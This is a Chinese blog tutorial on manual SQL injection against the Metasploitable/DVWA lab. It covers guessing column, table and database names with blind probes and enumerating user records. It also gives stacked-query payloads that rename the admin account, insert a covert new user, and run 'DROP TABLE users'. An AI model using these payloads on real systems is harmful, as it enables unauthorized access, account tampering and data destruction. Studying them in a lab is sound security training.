zoukankan      html  css  js  c++  java
  • 小白日记41:kali渗透测试之Web渗透-SQL手工注入(三)-猜测列名、表名、库名、字段内容,数据库写入

    SQL手工注入

    靶机:metasploitable(低)

     1、当无权读取infomation_schema库【MySQL最重要的源数据库,必须有root权限】/拒绝union、order by语句

    #若不为root

    a.猜列名:   ' and coclumn is null--+     【并且列有一个字段为空,正常执行,若没有空字段,且该列存在,返回空白内容;若列不存在,则报错】(可确定语句可插入数据库运行)

    例如:' and asd is null--+     

     使用kali集成的字典文件

    #对字典中以#号开头的行过滤【cat common-colums.txt | grep -V ^# > column.txt】

     BurpSuite自动猜列名(使用字典文件)【不一定是全部列】

    #也可通过返回的长度(length)来筛选

     

    b.猜测当前表名:   ' and table.user is null--+  【(user为已确定存在列名)如果列有字段为空,返回表名,若没有空字段,不会返回结果,若表名不存在,会报错】

     #还可通过db.table.user猜测数据库名称【同样的方法】

    kali中查找表名集成文件

    cat /usr/share/golismero/tools/sqlmap/txt/common-tables.txt | grep -v ^# > table.txt

    #通常来说,表名应该只有一个,不排除存在其他表名

    c.猜测库里其他表:   ' and (select count(*) from table)>0--+   【统计表中记录,若大于0,表名存在,可能直接爆出库名和表名】

     #同上,使用burpsuite

    d.列表对应关系:    ' and users.user is null--+

     #通过上述方法,整理出已知列名文件

    e.猜字段内容:  

    ' or user='admin             【后面为真,则显示,证明该内容存在】

    ' or user like '%a%        【通配符,只要字段中包含a,则显示】

     

    f.猜账号对应密码:    'or user='admin' and password='1h29rwg27g9agf9291r9

     #可使用md5sum命令进行加密

     

     2、当数据库可写入【前提,数据库配置的权限足够】

    a. ';update users set user='root' where user='admin'        【直接修改其账号/密码(密码为自己设定的密码的MD5值)将admin更新为root】

     #但是在dvwa中无法运行该语句,是sql客户端的问题代码存在问题,导致注入失败【原因

     数据库密码破解程序HexoBase,同时也是数据库连接的客户端程序

     

    b.'; INSERT INTO users (' user_id',' first_name',' last_name','user','password','avatar') VALUES('35','fh','root','toor','5f4dcc3b5aa765d61d8327deb882cf99','OK');--+    【插入:添加一个新用户,可隐秘行事】

     

     c.DROP TABLE users;--    【删除表】

     

     #利用数据库管理系统中默认的存储过程进行注入  【xp_cmdshell  /存储过程】

    #SQL注入没有通用的方法,掌握原理,了解各种数据库特性

    3、SQL注入难度提升讲解

    low

     

    medium

     

    代码分析:$id:该变量不需要使用单引号闭合,也不需要使用--进行注释,所以注入之前中已不需要加单引号进行,过滤函数已为多余

     

    #mysql_real_escape_string()   【php5.5.0已经弃用该函数,PHP 7.0.0已经删除该函数,使用MySQLi、PDO_MySQL代替】

    转义函数,对以下下列字符转义

     

     High

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

  • 相关阅读:
    python-循环语句及字符串的简单应用
    用python画个五星红旗
    一、认识Python
    一个完整的大作业
    数据结构化与保存
    爬取新闻列表
    用requests库和BeautifulSoup4库爬取新闻列表
    中文词频统计及词云制作
    组合数据类型练习,英文词频统计实例
    字符串操作练习:星座、凯撒密码、99乘法表、词频统计预处理
  • 原文地址:https://www.cnblogs.com/zixuanfy/p/6001097.html
Copyright © 2011-2022 走看看